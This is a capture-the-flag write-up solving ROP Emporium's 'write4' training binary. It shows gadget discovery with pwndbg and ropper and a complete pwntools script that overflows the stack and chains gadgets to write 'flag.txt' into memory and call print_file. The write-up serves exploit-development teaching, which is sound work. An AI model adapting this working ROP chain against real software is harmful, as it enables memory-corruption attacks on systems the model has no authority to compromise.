write4
This is the fourth problem of ropemporium, and can be found here.
I started using pwndbg in this writeup. I normally use it but I just hadn’t installed it up to this point.
Exploration
Goal
As described on the site, the goal is to call print_file("flag.txt")
by writing to some data location, then passing that value. It encourages writing a function to create a payload that writes a value into an address.
Gadgets (usefulGadgets
and ropper
)
There exists a gadget to move the value in R15 into the address in R14:
1
2
3
4
5
6
pwndbg> disass usefulGadgets
Dump of assembler code for function usefulGadgets:
0x0000000000400628 <+0>: mov QWORD PTR [r14],r15
0x000000000040062b <+3>: ret
0x000000000040062c <+4>: nop DWORD PTR [rax+0x0]
End of assembler dump.
There also exists another gadget elsewhere that allows us to write to both R14 and R15:
1
2
3
4
5
6
7
8
$ ropper --file write4 --search "pop r14"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop r14
[INFO] File: write4
0x0000000000400690: pop r14; pop r15; ret;
With these two gadgets, we can write anywhere in the binary.
There’s also a classic to pass in to the first argument RDI:
1
2
3
4
5
6
7
8
$ ropper --file write4 --search "pop rdi"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi
[INFO] File: write4
0x0000000000400693: pop rdi; ret;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> info files
Symbols from "/home/ctf/ctf/ropemporium/write4/write4".
Local exec file:
`/home/ctf/ctf/ropemporium/write4/write4', file type elf64-x86-64.
Entry point: 0x400520
0x0000000000400238 - 0x0000000000400254 is .interp
0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
0x00000000004002d0 - 0x00000000004003c0 is .dynsym
0x00000000004003c0 - 0x000000000040043c is .dynstr
0x000000000040043c - 0x0000000000400450 is .gnu.version
0x0000000000400450 - 0x0000000000400470 is .gnu.version_r
0x0000000000400470 - 0x00000000004004a0 is .rela.dyn
0x00000000004004a0 - 0x00000000004004d0 is .rela.plt
0x00000000004004d0 - 0x00000000004004e7 is .init
0x00000000004004f0 - 0x0000000000400520 is .plt
0x0000000000400520 - 0x00000000004006a2 is .text
0x00000000004006a4 - 0x00000000004006ad is .fini
0x00000000004006b0 - 0x00000000004006c0 is .rodata
0x00000000004006c0 - 0x0000000000400704 is .eh_frame_hdr
0x0000000000400708 - 0x0000000000400828 is .eh_frame
0x0000000000600df0 - 0x0000000000600df8 is .init_array
0x0000000000600df8 - 0x0000000000600e00 is .fini_array
0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
0x0000000000600ff0 - 0x0000000000601000 is .got
0x0000000000601000 - 0x0000000000601028 is .got.plt
0x0000000000601028 - 0x0000000000601038 is .data
0x0000000000601038 - 0x0000000000601040 is .bss
The key part is that we have 8 bytes in the .bss
, a static, writeable region.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
from pwn import *
exe = ELF("./write4")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
Here, we’re using the gadgets we found earlier to write any value to any address. Note that we have a flat
with an offset of 0, which we can chain into further payloads (see main
).
1
2
3
4
5
6
7
8
9
10
11
def write(address, value):
mov = 0x400628
ins = 0x400690
return flat({
0: [
ins,
address,
value,
mov
]
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def main():
r = conn()
# good luck pwning :)
offset = 0x28
bss = 0x601028
rdi = 0x400693
payload = flat({
offset: [
write(bss, b"flag.txt"),
rdi,
bss,
exe.plt["print_file"]
]
})
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[+] Starting local process '/home/ctf/ctf/ropemporium/write4/write4': pid 65236
[*] Switching to interactive mode
write4 by ROP Emporium
x86_64
Go ahead and give me the input already!
> Thank you!
ROPE{a_placeholder_32byte_flag!}